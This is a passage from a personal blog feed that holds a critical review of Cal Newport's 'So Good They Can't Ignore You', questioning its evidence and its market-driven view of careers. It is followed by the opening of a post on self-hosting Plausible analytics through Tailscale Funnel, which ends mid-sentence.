Fundamentally, this is a book about how to make the best deal you can under the system that we've got. That may be a pragmatic point of view, but it's one I find somewhat disheartening.</p> <span id="continue-reading"></span> <p>I begin this essay with a few specific points of disagreement with Newport's factual claims, then dive into some more philosophical differences.</p> <h2 id="nits-to-pick">Nits to pick</h2> <p>Newport's main mission is to convince us <em>not</em> to follow our passion when choosing a career, but instead to develop our "career capital" (aka "rare and valuable skills",<sup class="footnote-reference"><a href="#networking">1</a></sup> p. 48<sup class="footnote-reference"><a href="#page-numbering">2</a></sup>) in an area to the point where we'll be able to command a job we love. Does he succeed in this argument? Mostly, I'd say, but I have a few points of contention.</p> <h3 id="1-debunking-the-passion-hypothesis">1. Debunking the "passion hypothesis"</h3> <p>Newport's first task is to refute what he calls the "passion hypothesis," that trite conventional wisdom that career satisfaction can only be found by figuring out exactly what it is you are truly passionate about, and then finding a job that lets you completely immerse yourself in it. Instead, he advocates amassing career capital by continually sharpening your skills, then using that career capital as leverage to build your dream job (either in your current position, or by switching to a new one). He dedicates a few chapters to this; there's one point in particular that bears greater scrutiny.</p> <p>As part of his literature review,<sup class="footnote-reference"><a href="#lit-review">3</a></sup> Newport looks at a paper from Amy Wrzesniewski.<sup class="footnote-reference"><a href="#wrzesniewski">4</a></sup> Wrzesniewski's paper proposes that "most people see their work as either a Job (focus on financial rewards and necessity rather than pleasure or fulfillment; not a major positive part of life), a Career (focus on advancement), or a Calling (focus on enjoyment of fulfilling, socially useful work)." The part Newport is most excited about is a survey of college administrators, who were split roughly evenly between those three categories when surveyed. Newport's prized result here, in his own words, is that "the strongest predictor of an assistant seeing her<sup class="footnote-reference"><a href="#gender">5</a></sup> work as a calling was the number of years spent on the job." (p. 16–17) Aha! Work hard, put in the time to get good, and you'll end up satisfied—that's Science™ now, baby! Well… not so fast. Newport fails to mention that this involved a grand total of 24 respondents; in Wrzesniewski's own words "the results for our small sample of administrative assistants cannot have more than heuristic value." More importantly, I think Newport is overlooking a far more plausible explanation: if you hate your work, eventually you'll quit!</p> <p>Specifically, my money is on a type of survivorship bias: remember, this survey is only capturing a snapshot of people employed as administrative assistants <em>at the time of the survey</em>. Newport claims that since the study observed that the more tenured assistants were more likely to label their work as a calling (in Wrzesniewski's parlance), his model is supported by the data. But think back to that good ol' passion hypothesis again. In this model, on the day that somebody starts a new position, they have a pretty good idea of whether it's a job, career, or calling for them, and that feeling never changes (it simply arises from their passion, or lack thereof, for the position). Assuming the passion hypothesis is true, what would we expect Wrzesniewski's survey results to look like? Well, among newer hires, there's probably a mix of job, career, and calling types (some are true believers, others just needed any job they could get). But if this is just a job to you, you're more likely to quit, since you're less personally invested in the position. So as job tenure increases, we might also expect respondents to be more likely to be in the calling camp (again, because no dispassionate people end up with such a long tenure; they've already quit before then). …hey wait a minute, that's what the survey data showed!</p> <p>In short, I don't think the design of the Wrzesniewski survey allows one to distinguish between Newport's model and the alternative he is trying to discredit. (And that's assuming you surveyed enough people for it to be meaningful, which, again, the primary author notes is not the case!) I'd love to see a study that surveys a group of people who just started the same job, then follows up with the <em>exact same</em> people years later—that would give us a much better way to distinguish between our two competing hypotheses.</p> <h3 id="2-refuting-the-argument-from-pre-existing-passion">2. Refuting "the argument from pre-existing passion"</h3> <p>In his second of four "rules," Newport distinguishes between "<em>the craftsman mindset</em>, which focuses on what you can offer the world," and "<em>the passion mindset</em>, which instead focuses on what the world can offer you" (p. 39, emphasis original). Newport advises that you throw off the yoke of the passion mindset, adopt the craftsman mindset (which involves extended, deliberate practice), build up your career capital and become "so good they can't ignore you." But to do this, Newport needs to rebut a counterargument he's heard many times. These objectors propose that precisely because the craftsman lifestyle can be so grueling, those that willingly subject themselves to it (for their chosen domain) must already harbour some innate passion for the pursuit. This would upend Newport's vision; rather than craftsmanship simply being a switch one needs to decide to flick, we're right back to "find your passion then pursue it relentlessly"—the exact passion hypothesis Newport is arguing against. He dubs this argument "the argument from pre-existing passion," and sets about refuting it two ways.</p> <p>First, Newport argues "…let's dispense with the notion that performers like [accomplished guitarist] Jordan Tice<sup class="footnote-reference"><a href="#tice-and-martin">6</a></sup> or Steve Martin are perfectly secure in their knowledge that they've found their true calling," because "…one of the first things you notice is their insecurity concerning their livelihood." (p. 40) In particular, "Steve Martin was so unsure during his decade-long dedication to improving his routine that he regularly suffered crippling anxiety attacks." (p. 41) Newport claims Martin persisted because he knew that by continually honing his material, he would one day achieve success.</p> <p>Let's recap Newport's view: a young Steve Martin dispassionately surveyed the field of possible careers, selected comedy arbitrarily, then endured ten years of rocky mental health, secure in the knowledge that a good job was waiting for him at the end of it. If passion isn't a factor here, it seems Martin could've saved himself some hardship by majoring in, say, accounting—frankly, it's hard to believe Newport could ever recommend going into entertainment when the risk-reward ratio is so much more favourable in other industries.</p> <p>Come on! Of <em>course</em> Steve Martin wasn't going to become an accountant, he was born to be an entertainer! It's in his blood! Sure, maybe his commitment to the "craftsman mindset" led him to succeed where others failed, but what Newport needed to show here is not "the craftsman mindset will lead to success," it's "passion is not a prerequisite for the craftsman mindset." I don't think picking Steve Martin as his example helps his case!</p> <p>Newport's second counter-argument is "more fundamental" (his words), namely: "I don't really care why performers adopt the craftsman mindset." (p. 41) Uh, I think you <em>should</em> care! Many of your claims depend on your ability to disarm this argument! Now rather than trying to actually defend his position, Newport attempts this judo flip:</p> <ol> <li>It's unclear why some top performers choose to adopt the craftsman mindset.</li> <li>Regardless, adopting the craftsman mindset has instrumental value—it will help you get your dream job—so you should do it anyway.</li> </ol> <p>But this simply assumes the conclusion—in Newport's own words on the previous page, the crux of the argument from pre-existing passion is that "the craftsman mindset is only viable for those who already feel passionate about their work." The whole point of the argument from pre-existing passion is that it might not be possible for everyone to simply adopt the craftsman mindset for any given domain. That's what Newport needed to disprove here, but he again fails to do so: maybe it really is the case that Steve Martin levels of practice are only possible if you feel Steve Martin levels of passion!</p> <p>Where does this leave us? I don't think this is fatal to Newport's position, but I end up at a somewhat different conclusion than him. Rather than completely dispensing with passion, I think of it as the fuel to start the fire: find something that a) you like (not necessarily <em>love</em>!), and b) has reasonable career opportunities. Then, work your little tuchus off (following the craftsman mindset) to get good at it, by which point you'll be able to command a job you truly enjoy. But what if there's nothing you like <em>that</em> much? What if there's no subject that could ever interest you more than the siren song of the TikTok algorithm? Unfortunately in that case, I don't have a good answer for you—and neither, I suspect, does Newport.</p> <h3 id="3-repeatability">3. Repeatability</h3> <p>One of the career profiles Newport offers in support of his thesis is that of Alex Berger, a successful TV writer. In Newport's telling, Berger recognized that his career would live or die by the quality of his script writing, and therefore practiced his craft relentlessly—writing day and night, and seeking every possible opportunity to get feedback. In the end, it paid off, and he loves what he does; good for him! What bothers me though, is Newport's summary (p. 68):</p> <blockquote> <p>What this story lacks in pizazz, it makes up in repeatability: There's nothing mysterious about how Alex Berger broke into Hollywood—he simply understood the value, and difficulty, of becoming good.</p> </blockquote> <p>There's a very strong empirical claim implicitly being made here (hard work → success), and scant evidence on offer. Give me a thousand would-be Alex Bergers, track every minute of their time, then check if hard work was the only predictor of their success—personally, I have my doubts. It's undeniable that personal characteristics such as race and gender have limited the careers of entertainers in the past, not to mention the blind, uncaring pronouncements of chance.</p> <p>Fundamentally, I just don't buy this story. I'm not doubting that Alex Berger worked hard, it's just that Newport's telling smacks of the lottery winner's TED Talk.</p> <figure> <img src="/blog/cal-newports-pragmatic-pessimism/./survivorship_bias.png" alt="xkcd comic wherein a lottery winner gives some dubious life advice" class="centre"> <figcaption><p>"<a rel="external" href="https://xkcd.com/1827/">Survivorship Bias</a>," by <a rel="external" href="https://xkcd.com/about/">Randall Munroe</a>, is licensed under <a rel="external" href="https://creativecommons.org/licenses/by-nc/2.5/">CC BY-NC 2.5</a></p> </figcaption> </figure> <h2 id="philosophical-disagreements">Philosophical disagreements</h2> <p>With those object-level claims out of the way, allow me to wax poetic about some of my more fundamental differences with Newport's views.</p> <h3 id="doing-good-better-according-to-newport">Doing good better, according to Newport</h3> <p>There are cases where Newport thinks you should <em>not</em> apply the craftsman mindset and instead walk away, such as when "the job focuses on something you think is useless or perhaps even actively bad for the world." It was that criterion that allowed him to "confidently delete these [high-paying Wall Street] offers as they arrived." (p. 57) Fair enough, but here's a project that really excites Newport—courtesy of "cleantech venture capitalist" Mike Jackson (p. 70):</p> <blockquote> <p>The idea was simple: You give money to Mike, he does complicated transactions that only he and a few other energy regulation wonks really understand, and then he offers you certification that you've purchased enough carbon offsets for your business to be deemed carbon neutral.</p> </blockquote> <p>Look, I want to assume the best of Mike. I truly, feverishly hope that his keen insight lead to increased sequestration of carbon, slowing the warming of our planet—but when the mechanism is VCs organizing "complicated transactions that only he and a few other energy regulation wonks really understand" leading to "certification," I start to get a little nervous. I'm not under the illusion that being a bond trader is a noble order, but I suspect it generally involves less temptation for greenwashing.<sup class="footnote-reference"><a href="#green-bonds">7</a></sup></p> <h3 id="how-do-we-value-people-s-skills-and-labour">How do we value people's skills and labour?</h3> <p>On this point, Newport does not equivocate: when trying to formulate a rule for when one should opt to take more control of their day-to-day duties, Newport interviews <a rel="external" href="https://sive.rs/">Derek Sivers</a>, who offers advice such as "Do what people are willing to pay for", and "money is a neutral indicator of value." (p. 137) That's right kids, pushing opioids and flavoured Juul pods are certified a-okay by The Market; but maybe give up on that non-profit of yours that doesn't seem to be going anywhere? To be fair to Newport, this is immediately followed by "This isn't about making money", but I find it hard to reconcile the two. As always, there's certainly some truth to this—if your hobby doesn't pay your bills, it's not likely to be a good career!—but I think Newport takes it too far.</p> <p><em>(Also: Newport claims that "[Sivers] is more or less indifferent to money, having given away to charity the millions he made from selling his first company" and began "living off the smallest possible amount of interest allowed by law." Those are both basically <em>true</em> statements, but with further context I find them misleading. In the interest of space, I'll relegate that discussion to a spicy endnote.<sup class="footnote-reference"><a href="#sivers-charity">8</a></sup>)</em></p> <p>I'm also not sure how to apply this reasoning to highly creative fields. How many of history's great artists went unappreciated in their own time? Would our human history really be richer had they forwent their art in favour of a more profitable skill? This is the bare, brutal logic of markets. I don't mean to push back against that logic too strongly—we all need to eat, and markets can be an invaluable tool for coordinating all of the messy activity required to make that happen. I only wish that Newport took the time to recognize that both underwater welding and underwater basking weaving have their place in the tapestry of human activity, even if the latter commands a lower market price.</p> <h3 id="what-the-heck-does-cal-newport-know-anyway">What the heck does Cal Newport know, anyway?</h3> <p>After Newport's taken you through his four rules for achieving career nirvana, you're directed to exit via the innocuously-named Conclusion. You'd be forgiven for assuming that this might simply summarize those rules and throw in an extra nugget or two of wisdom, but that is not the case. Instead, Newport drops the reverse-uno card he's had up his sleeve the whole time: he's just beginning his own career!</p> <p>Newport explains that he started dreaming up this book as he was finishing up as a postdoc and applying for academic jobs; he mentions this in the intro (which I had completely forgotten about). Spoiler alert: happily, he was successful, and "signed the deal for this book only two weeks after accepting [his] Georgetown offer." (p. 201) Good for him! He uses the conclusion to demonstrate how he applied his four rules to his own job search.</p> <p>That's all well and fine, but for a book full of career advice, I was hoping it would be more… grounded in <em>personal</em> experience? Newport's academic career trajectory is impressive, but it is also short and quite different from the public- or private-sector paths most readers are following. I suppose the many "case studies" in the book of other people's careers are intended to fill in this gap.</p> <p>Of course, none of this necessarily means that Newport is <em>wrong</em>, but it feels funny to me for someone so early in their career to proffer themself as a guru. Kinda like that time when I took ice skate advice from the bespotted teen at the sports store and only noticed I bought myself women's skates when I got home.<sup class="footnote-reference"><a href="#skates">9</a></sup></p> <h3 id="if-you-can-t-make-your-own-career-capital-store-bought-is-fine">If you can't make your own career capital, store-bought is fine</h3> <p>There's another part of the conclusion that rubs me the wrong way. Newport describes how he and a friend started up a web design business in high school which earned them a nice chunk of change and some press coverage; he credits this with playing a large role in his admission to an elite university. How exactly did the business work? Page 204 explains: "Most of these contracts paid between $5,000 and $10,000, a healthy chunk of which we passed on to a team of Indian sub-contractors, <em>who did most of the actual programming work</em>" (emphasis mine).</p> <p>Gah!</p> <p>There's nothing <em>wrong</em> with this, per se. It certainly shows some entrepreneurial savvy on his part, and if those Indian sub-contractors earned more than they otherwise might have on the local market, that's great—a win-win, even! Except… doesn't it feel a bit strange that Mr. Career Capital got his start by, well, not <em>misappropriating</em>, but perhaps <em>enlisting</em> someone <em>else's</em> career capital? Newport's message is work hard, follow the craftsman mindset, and you're destined for success—but what if you happen to be born in South Asia? Should you be satisfied being the engine of value for some American teen's geo-arbitrage biz? How have demographic, geographic, and political factors beyond your control limited your ability to offer your career capital on the labour market? On these questions, Newport remains demure.</p> <h3 id="purple-cows-and-bullshit">Purple Cows and bullshit</h3> <p>I know, I know—two criticisms of the conclusion and I'm still going; don't worry, we're nearly there.</p> <p>To explain the importance of marketing your personal mission, Newport uses Seth Godin's analogy of "brown cows" and "purple cows." Brown cows are so utterly ordinary that you look right past them without thinking; conversely, if you saw a purple cow, you'd surely take note. Furthermore, purple cows don't just happen by accident; they're the result of deliberate marketing. Newport is practicing what he preaches here: "the book you're holding was conceived from the very early stages with the hope of being seen as 'remarkable.'<sup class="footnote-reference"><a href="#remarkable">10</a></sup>" (p. 191)</p> <p>Newport correctly identifies that you need some measure of attention to "succeed," at least in that legible, achievement-oriented way. Just being <em>correct</em>, <em>true</em>, or <em>good</em> is not enough; you can have the world's smartest cow and no one will notice unless it's purple. But this is a slippery slope: if you get really good at dyeing cows—something for which you'll be rewarded!—you might end up being "successful" without actually being <em>good</em> or <em>right</em>. (See: pretty much every self-help book ever.)</p> <p>The single best example I can give comes directly from Newport's website.<sup class="footnote-reference"><a href="#email-example">11</a></sup></p> <figure> <img src="/blog/cal-newports-pragmatic-pessimism/./the_duality_of_email.jpg" alt="A screenshot of Newport's website, showing an ad for his book <cite>A World Without Email</cite>, next to a banner inviting you to sign up for blog updates via email" class="centre"> <figcaption><p>The Duality of Email. (My RSS reader doesn't find a feed for the blog.)</p> </figcaption> </figure> <p>I haven't read <cite>A World Without Email</cite>, and I'm sure Newport has a way to square this circle. (Maybe rather than completely abolishing email, you check it once a day at 5pm to avoid interfering with your "deep work.") But still. How can this come across as anything other than disingenuous?</p> <h3 id="fine-let-s-do-the-motorcycle-book">Fine, let's do the motorcycle book</h3> <p>In many ways it seems to me that <cite><a rel="external" href="https://en.wikipedia.org/wiki/Zen_and_the_Art_of_Motorcycle_Maintenance">Zen and the Art of Motorcycle Maintenance</a></cite> (by Robert Pirsig) is the antithesis of <cite>So Good They Can't Ignore You</cite>.</p> <p>For the uninitiated: I claim no deep understanding of the nuances of the former, but it is undeniably an extended meditation on the definition and meaning of "Quality." For the gory details, consult the original, but for our purposes I only want to draw out one concept it highlights: <a rel="external" href="https://en.wikipedia.org/wiki/Arete"><em>arete</em></a>.<sup class="footnote-reference"><a href="#zmm-arete">12</a></sup> <em>Arete</em> is an ancient Greek concept that can be roughly translated as "excellence" or "virtue;" living up to your full potential and making the most of all your abilities is a perfect display of <em>arete</em>. More specifically though, <em>arete</em> isn't performative, or done for the sake of praise, it is done for one's self—it looks not outward, but inward.</p> <p>In <cite>So Good They Can't Ignore You</cite>, I don't see Newport as valuing <em>arete</em>. To him, quality is a <em>means</em> to an end, not the goal itself—quality is just the seed you water with external attention to cultivate a legible success; the success is what he's really after. That's not a knock against him! He seems to know what he wants, and he appears to be quite effective at getting it.</p> <p>But personally, I feel differently. I don't <em>dislike</em> success of course; nor dare I deign denigrate it, but simply put: if you force me to choose between the up-and-coming VC luminary and the modest Linux kernel hacker toiling away simply for the love of the craft, my sympathies are with the latter.</p> <h2 id="my-takeaways">My takeaways</h2> <p>So, where does that leave us?</p> <p>Overall, I'm glad to have read <cite>So Good They Can't Ignore You</cite>. I think it does have some good (and actionable) advice for me; it might for you as well. Autonomy is crucial for liking your job—if you don't have it now, figure out a way to get it!</p> <p>That being said, I trust Newport a little less after having read this. There's some genuine pearls of wisdom here, and likely in his other stuff as well, but his prioritization of success over truth makes me worry I might have to sift through manure to find them.</p> <p>At the end of the day, I don't think Newport's big idea is <em>wrong:</em> pick something that marginally interests you with some career opportunities, get good at it, sprinkle a little puffery on top, and—assuming there are no structural constraints limiting your opportunities—you can build a satisfying career for yourself. So sure, maybe skills really do trump passion.</p> <p>What I don't understand is how Newport is perfectly willing to just leave it at that. He'll teach you how to play the game like a pro, but he never stops to contemplate how the rules came to be, or if we should try to change them. Personally, I find that myopia a little depressing, but I won't dispute its effectiveness.</p> <hr> <div class="footnote-definition" id="networking"><sup class="footnote-definition-label">1</sup> <p>Interestingly, Newport never mentions one's personal connections/network as being important in finding a job you love. Frankly, I find this dumbfounding, since I think of this as being some of the most commonly-offered career advice. I think Newport overlooks it because he's very focused on legible measures of personal success (e.g., getting great test scores; we'll get into that later).</p> </div> <div class="footnote-definition" id="page-numbering"><sup class="footnote-definition-label">2</sup> <p>The page numbers I'm providing are for the edition with ISBN 978-1-4555-0912-6.</p> </div> <div class="footnote-definition" id="lit-review"><sup class="footnote-definition-label">3</sup> <p>It's not exactly extensive; by my count there are three references to academic literature in this section of the book (and as we'll see, Newport's summary of that research can be… selective). This is more interviews 'n' anecdotes territory. Of course, that doesn't stop the publisher from describing this as "an <em>evidence-based</em> blueprint for creating work you love" (reverse flap; emphasis mine).</p> </div> <div class="footnote-definition" id="wrzesniewski"><sup class="footnote-definition-label">4</sup> <p>Wrzesniewski, Amy, Clark McCauley, Paul Rozin, and Barry Schwartz. 1997. "Jobs, Careers, and Callings: People’s Relations to Their Work." <cite>Journal of Research in Personality</cite> 31 (1): 21–33. Or at least, that's what the library website spits out for me.</p> </div> <div class="footnote-definition" id="gender"><sup class="footnote-definition-label">5</sup> <p>Newport's language; the paper seems to stick to "administrative assistants"/"respondents."</p> </div> <div class="footnote-definition" id="tice-and-martin"><sup class="footnote-definition-label">6</sup> <p>Newport uses Jordan Tice and Steve Martin as examples of people employing the craftsman mindset; the book's title is taken from a quip by Martin. Interestingly, <a rel="external" href="https://web.archive.org/web/20220524150350/https://www.jordantice.net/about">Tice's website</a> mentions he's worked with Steve Martin—either I missed where Newport mentioned that, it's a weird coincidence, or Newport happened upon the connection as well?</p> </div> <div class="footnote-definition" id="green-bonds"><sup class="footnote-definition-label">7</sup> <p>Although in the era of green bonds, perhaps not?</p> </div> <div class="footnote-definition" id="sivers-charity"><sup class="footnote-definition-label">8</sup> <p>First of all, kudos to Sivers for seemingly being totally transparent with this whole arrangement. In a <a rel="external" href="https://web.archive.org/web/20221224220146/https://sive.rs/trust">blog post</a> from 2009, he clearly explains that he transferred the company he founded to a self-founded charitable trust for music education; when his company was later sold for 22 million bucks, the proceeds went to the trust. Furthermore, while he is alive, that trust "pays out 5% of its value per year to [him]"—so, a cool $1.1 million per year to start? (In the comments on that post, Sivers notes that "5% is the minimum payout required by law" for such a trust—okay, but it didn't <em>have</em> to be this kind of trust, right?) To be clear, I emphatically do <em>not</em> mean to disparage this kind of giving—wanting to donate a lump sum while preserving some kind of income stream is a-okay in my books—but uh, at a 5% annual drawdown, is this really sustainable? Obviously you can invest the trust's assets (Sivers notes this as well), but I'd be very interested in seeing the trust's financial statements from 2009 up to now. So, yeah; "living off the smallest possible amount of interest allowed by law"—technically true, but a seven-figure stipend seems pretty comfortable nonetheless.</p> </div> <div class="footnote-definition" id="skates"><sup class="footnote-definition-label">9</sup> <p>It's fine! It's fine. I'm a mature, enlightened man, and wearing women's skates, emblazoned with "ALEXIS ICE" and the breast cancer awareness ribbon in no way threatens my sense of masculinity. I just… might have picked something else if I had realized. <a rel="external" href="https://web.archive.org/web/20221228235332/https://www.buttersafe.com/2008/10/23/the-detour/">I am not a clever man.</a></p> </div> <div class="footnote-definition" id="remarkable"><sup class="footnote-definition-label">10</sup> <p>Don't sweat the quotation marks on remarkable; Newport's just using them to mean "the literal sense of compelling people to remark about it" (p. 190), rather than a second sense, which he subsequently discusses.</p> </div> <div class="footnote-definition" id="email-example"><sup class="footnote-definition-label">11</sup> <p>This screenshot was taken at the time of writing; as I edit this some time later it appears the website has undergone a redesign. I believe my point stands.</p> </div> <div class="footnote-definition" id="zmm-arete"><sup class="footnote-definition-label">12</sup> <p>Quoting from <cite>Zen and the Art of Motorcycle Maintenance</cite> (p. I-don't-actually-own-this-book-and-just-found-a-sketchy-pdf-online):</p> </div> <blockquote> <p>"What moves the Greek warrior to deeds of heroism," Kitto comments, "is not a sense of duty as we understand it… duty towards others: it is rather duty towards himself. He strives after that which we translate 'virtue' but is in Greek areté, 'excellence'—we shall have much to say about areté. It runs through Greek life." There, Phaedrus thinks, is a definition of Quality that had existed a thousand years before the dialecticians ever thought to put it to word-traps. Anyone who cannot understand this meaning without logical definiens and definendum and differentia is either lying or so out of touch with the common lot of humanity as to be unworthy of receiving any reply whatsoever. Phaedrus is fascinated too by the description of the motive of "duty toward self" which is an almost exact translation of the Sanskrit word dharma, sometimes described as the "one" of the Hindus. Can the dharma of the Hindus and the "virtue" of the ancient Greeks be identical? Then Phaedrus feels a tugging to read the passage again, and he does so and then—what's this?! -- "That which we translate 'virtue' but is in Greek 'excellence.'"</p> <p>Lightning hits!</p> <p>Quality! Virtue! Dharma! That is what the Sophists were teaching! Not ethical relativism. Not pristine "virtue." But areté. Excellence. Dharma! Before the Church of Reason. Before substance. Before form. Before mind and matter. Before dialectic itself. Quality had been absolute. Those first teachers of the Western world were teaching Quality, and the medium they had chosen was that of rhetoric. He has been doing it right all along.</p> </blockquote> <div class="footnote-definition" id="typos"><sup class="footnote-definition-label">13</sup> <p>For you, the particularly dedicated reader, let me prove that I actually read this thing by offering a couple of typos in this (unlinked) endnote.</p> </div> <ol> <li>On page 82, elite chess players are "pouring" over books, which tends not to be good for the books' longevity;</li> <li>On page 222, we learn of Esther Duflo, "who won a MacArthur 'Genius Grant' for her work evaluating <em>ant-poverty</em> programs" (emphasis mine). Now, I fact-checked this one—her research focus seems to be <em>anti</em>-poverty programs, but this being an EA-friendly space, it was worth confirming. If only FTX was still around—there <em>are</em> a lot of ants, after all…</li> </ol> 2023-04-28T00:00:00+00:00 2025-02-09T00:00:00+00:00 https://simpsonian.ca/blog/selfhosting-plausible/ <p>Friends, as we all know, pride is a <em>sin</em>. In a world obsessed with likes and followers, I want my work here at the Simpsonian to be guided by the love of the craft itself; not whatever debauchery gets the clicks. So, to ensure I am not falling victim to pride, I recently set up some basic web analytics. Fortunately, I can rest easy—I have officially confirmed that this blog has precisely zero readers. Here's how I did it.</p> <span id="continue-reading"></span> <p>I've had my eye on <a rel="external" href="https://plausible.io/">Plausible</a> for a while now—it's a light-weight, privacy-focused, open-source alternative to Google Analytics. But what interested me most was that they explicitly make it easy to host it yourself—and once you're self-hosting <em>one</em> thing, the urge to self-host <em>everything</em> is strong…</p> <p>However, longtime readers will recall that I've taken <code>treebeard</code>, my trusty home server, <a href="https://simpsonian.ca/blog/securing-home-network-dnsmasq-tailscale/">off the public internet</a>. That presents a problem: for Plausible's tiny "phone home" analytics script to work, every reader of this blog would need to be connected to my personal <a rel="external" href="https://tailscale.com/kb/1136/tailnet/">tailnet</a>. While that is perfectly feasible at the moment, it is not, as the kids say, "web-scale." So, alternatives:</p> <ol> <li>Pay for Plausible's "official managed (cloud) service."</li> <li>Pay for my own tiny cloud server somewhere, and self-host Plausible there.</li> </ol> <p>Miserable miser that I am, even these modest and wholly reasonable pecuniary considerations put me off the project. So there I lay in stasis for quite some time—that is, until the announcement of <a rel="external" href="https://web.archive.org/web/20230425135212/https://tailscale.com/blog/introducing-tailscale-funnel/">Tailscale Funnel</a>. In their words, it lets you "expose things from your Tailscale node to the big scary internet and [they'll] tunnel it in to you, over Tailscale."</p> <p>…could this be exactly what I've been waiting for?</p> <p>In a typical blog post, this would the point where I start to delve into the inane technical incantations I uttered in order to solve my specific problem, generally in levels of detail that are completely irrelevant for everyone else. If that's what you're here for, I have bad news: setting this up was <em>so easy</em> that I have virtually no notes of my own to add (…but that doesn't mean <em>no</em> notes; come on). I did draw <a href="https://simpsonian.ca/blog/selfhosting-plausible/#putting-it-all-together">a diagram</a> though.</p> <h2 id="self-hosting-plausible">Self-hosting Plausible</h2> <p>Pretty straightforward: follow their <a rel="external" href="https://plausible.io/docs/self-hosting">step-by-step guide</a>. It's mostly just <code>docker compose up</code>.</p> <ul> <li> <p>I guess they didn't have ARM support for a while but that's <a rel="external" href="https://github.com/plausible/analytics/discussions/903#discussioncomment-3865836">since been added</a>.</p> </li> <li> <p>I got some IPv6 errors from Clickhouse at first, but that was easily fixed by adding <code>&lt;listen_host&gt;0.0.0.0&lt;/listen_host&gt;</code> to <code>clickhouse/clickhouse-config.xml</code>.</p> </li> <li> <p>Triggering Plausible's script from a site running on <code>localhost</code> won't work by default—if you want to test that way, you need to use <a rel="external" href="https://plausible.io/docs/script-extensions"><code>script.local.js</code></a> (instead of <code>script.js</code>).</p> </li> <li> <p>You probably also want to exclude yourself from your metrics; Plausible has <a rel="external" href="https://plausible.io/docs/excluding">a guide</a> on how to configure your adblocker to accomplish that.</p> </li> </ul> <p><em>(Gotta resist the temptation to explain how Plausible works. It's not really relevant for this post, and their <a rel="external" href="https://web.archive.org/web/20230424025242/https://plausible.io/data-policy">blog post</a> already does a really good job of… ah, too late; stick it in a foldy box then.)</em></p> <details> <summary>How Plausible works</summary> So, let's say we want to track how many people are visiting our website each day. How could we do this? <p>Well, the simplest possible approach would be to set up our webserver to increment a counter every time someone visits our website—just like how you might use a handheld tally counter to count the number of geese that honk at you on your daily walk. There's one obvious problem though: if your stalker sits around all day watching your website and holding F5, it will look like you're getting a lot of traffic, but really it's just one person.</p> <p>How might we do better? As you may already be aware, when you visit a website, the underlying server usually sees your device's IP address. I'm intentionally eliding some details here, but let's assume that your IP address uniquely identifies your device. We could configure our webserver to instead write down the <em>IP address</em> of everyone who visits our website: then, at the end of the day, we could count the number of <em>distinct</em> IP addresses we saw to get our number of visitors—that solves our earlier "double-counting" issue. That ought to work reasonably well, but there's a different problem here: since IP addresses can (kinda, sorta) be linked back to an individual, they can be considered personal information, and storing personal information means I need to learn about privacy laws or something, and maybe put up one of those annoying banners—nuts to that.</p> <p>Instead, Plausible takes this very simple "count the IP addresses" idea and adds one small but important twist to allay those privacy concerns. To understand it, we'll need to take a quick look at <a rel="external" href="https://en.wikipedia.org/wiki/Hash_function">hash functions</a>. A hash function accepts data of of any kind (words, numbers, etc.) and any length as input, and maps those inputs to outputs of a <em>fixed</em> size.<sup class="footnote-reference"><a href="#hash-collision">1</a></sup></p> <p>That sounds pretty abstract, so let's look at some concrete examples. The table below shows a bunch of inputs, and their corresponding outputs after running them through the <a rel="external" href="https://en.wikipedia.org/wiki/MD5">MD5</a> hash function.<sup class="footnote-reference"><a href="#md5">2</a></sup></p> <table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody> <tr><td><code>1337_h4xx0R</code></td><td><code>3e61a6e1e45d2ebf17e6e28baeb27cb9</code></td></tr> <tr><td><code>This sure is a long hash input. Yup. No doubt about it.</code></td><td><code>5fd974bd46821a75ff496d8f358feafc</code></td></tr> <tr><td><code>site:simpsonian.ca#IP:192.168.0.1#browser:firefox</code></td><td><code>49d538a3654c6516709d902deb639cf7</code></td></tr> </tbody></table> <p>A good hash function has many interesting properties, but we'll focus on two:</p> <ol> <li> <p><em>Irreversible:</em> Given only the <em>output</em> of a hash function, it is practically impossible to find a corresponding <em>input</em> that generated it.<sup class="footnote-reference"><a href="#cryptographic-hash-function">3</a></sup></p> </li> <li> <p><em>Deterministic</em>: no matter how many times you call the hash function, if you give it the same inputs, it will <em>always</em> produce the same output.</p> </li> </ol> <p>That's a hash function in a nutshell, but what does all this have to do with Plausible? Rather than storing the IP addresses themselves (remember, those are sensitive!), the Plausible script first <em>hashes</em> your IP address (along with some other information), and stores that <em>hash</em> instead (i.e. the output from the hash function). Just like before, at the end of the day we can get a good estimate for our number of visitors by counting the distinct hashes we observed. But now, we aren't storing any sensitive data—since our hash function is irreversible, even if a hacker got access to those hash values, they wouldn't be able to turn them back into IP addresses.<sup class="footnote-reference"><a href="#rainbow-table">4</a></sup> Furthermore, since the hash function is also deterministic, someone spamming a single page will generate the same hash every time, so we don't end up double-counting them either.</p> <p>That's basically all there is to it! It's a simple little idea that allows for fairly rich metrics without storing any personal information. One limitation of this design is that you can't track new vs. returning visitors (see <a href="https://simpsonian.ca/blog/selfhosting-plausible/#rainbow-table">this footnote</a> for why), but that's a tradeoff I'm perfectly willing to make.</p> </details> <h2 id="setting-up-tailscale-funnel">Setting up Tailscale Funnel</h2> <p>Once again, just follow <a rel="external" href="https://tailscale.com/kb/1223/tailscale-funnel/">the guide</a>. It's got all the explanations you'll need, but it lacks helpfully numbered instructions. If you prefer having the steps entirely spoon-fed to you, allow me to fill that void:</p> <ol> <li>Turn on HTTPS certificates for your tailnet.</li> <li>Configure your Tailscale access controls to allow Funnel. I spent zero time learning how this actually works and opted to hit the magic "Add Funnel to policy" button on the right instead. It worked.</li> <li>Use <code>tailscale serve</code> to map how incoming requests should be directed. For my very basic use case (map all incoming requests to a HTTP service running on <code>localhost:8000</code>), that meant <code>tailscale serve https / http://127.0.0.1:8000</code>.</li> <li>Enable Funnel itself with <code>tailscale funnel 443 on</code>. (Of course, pick the port to match your <code>tailscale serve</code> setup.)</li> </ol> <h2 id="putting-it-all-together">Putting it all together</h2> <p>So, now when you enter this vaunted establishment, the page includes Plausible's <code>&lt;script&gt;</code> tag, which initiates a POST to <code>treebeard</code> to record your visit. Ordinarily <code>treebeard</code> shouldn't be accessible from your grubby, grimy device, but with the magic of Tailscale Funnel, this particular traffic passes through undisturbed.</p> <p>In words, that's all well and good, but to me, there's only one way to make sense of something like this: you gotta draw the diagram. Here's my attempt, but take it with a grain of salt—in particular, the Funnel details are based on my reading of the announcement article and some rudimentary <code>tcpdump</code> experiements on <code>treebeard</code>:</p> <figure> <img src="/blog/selfhosting-plausible/./selfhosting_plausible_tailscale_funnel.png" alt="A diagram showing how a visit to this 